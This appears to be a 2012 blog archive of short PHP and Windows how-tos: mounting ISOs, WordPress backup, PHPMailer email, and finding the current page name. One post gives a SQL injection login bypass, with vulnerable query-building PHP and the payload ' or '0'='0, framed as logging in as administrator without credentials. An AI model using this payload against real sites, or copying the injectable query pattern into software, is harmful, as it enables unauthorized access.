Sep 7, 2012

How to use PowerISO as ISO Mounter in windows OS


 



 



 


PowerISO has a built-in virtual drive, which can mount iso files and other CD / DVD image files. There is no need to install any other virtual drive software to mount ISO file. It is very convenient to mount an ISO file. You can mount it using the main program, using the shell context menu, or using the PowerISO virtual drive manager.


 


Usage1: Mount  ISO file using the main program:


 


Click the "Mount" button on toolbar. PowerISO shows the iso mounter menu.


 


Click a virtual drive from the popup menu.


 


Choose the iso file you want to mount, then click "Open" to mount it.


 


How to login as Administrator in website without having username and password


 


Method 1


 


If the PHP code in the login check page is like below


 


<?php


 


$username=$_POST['username'];


$password=$_POST['password'];


mysql_query("select * from user where username='$username' and password='$password'");


 


?>


 


Then we can easily login to the system without having any username or password. Change the value of username and password so that it bypasses login check.


 


Put the value of username : test1 


Put the value of password  : test2' or '0'='0


 


Then the PHP code in the login check page will be changed to


 


<?php


 


$username=$_POST['username'];


$password=$_POST['password'];


mysql_query("select * from user where username='test1' and password='test2' or '0'='0");


 


?>


 


Then 0=0 will always return a true value. Then database returns the first row from the user table so we can login as the first user.



Sep 3, 2012

How to backup wordpress site


Method 1



The simple and easy way to backup your wordpress site is to download and install “BackUpWordPress” pluggin.  By using this pluggin you can backup database as well as files.


 



 


Backup Files



 


After installing and activating the pluggin you can open “BackUpWordPress” pluggin by Tools --> Backups.You can change the settings and save.


 

Sep 2, 2012

How to send Email using PHP


 


Method 1 – Using phpMailer() function



First you need to download phpMailer from the following link



http://code.google.com/a/apache-extras.org/p/phpmailer/downloads/list



Or you can copy the following code and set username and password fields with your own gmail account username and password.



<html>



<head>



<title>PHPMailer - SMTP (Gmail) basic test</title>



</head>



<body>



<?php



//error_reporting(E_ALL);



error_reporting(E_STRICT);



date_default_timezone_set('America/Toronto');



require_once('../class.phpmailer.php');


Sep 1, 2012

How to find name of the current page in PHP


Method 1



To display full path name



<?php



echo $_SERVER['PHP_SELF'];



?>



Output ==> /public_html/index.php





Method 2



To display only the file name use the following query.



<?php



    $currentFile = $_SERVER["PHP_SELF"];



    $parts = Explode('/', $currentFile);



    echo $parts[count($parts) - 1];



?>



Output ==> index.php





Method 3



<?php



echo realpath(dirname(__FILE__));


 



?>



Output ==> C:\wamp\www\public_html\wp-content\plugins\exec-php\includes






 


Method 4


 


<?php


 


echo getcwd();


 


?>


 


Output ==> C:\wamp\www\public_html






 


Method 5


 


<?php


 


echo $file=$_SERVER['DOCUMENT_ROOT'];


 


?>


 


Output ==> C:/wamp/www/





Method 6




<?php


 


echo $_SERVER["SCRIPT_FILENAME"];


 


?>


 


Output ==> C:/wamp/www/public_html/index.php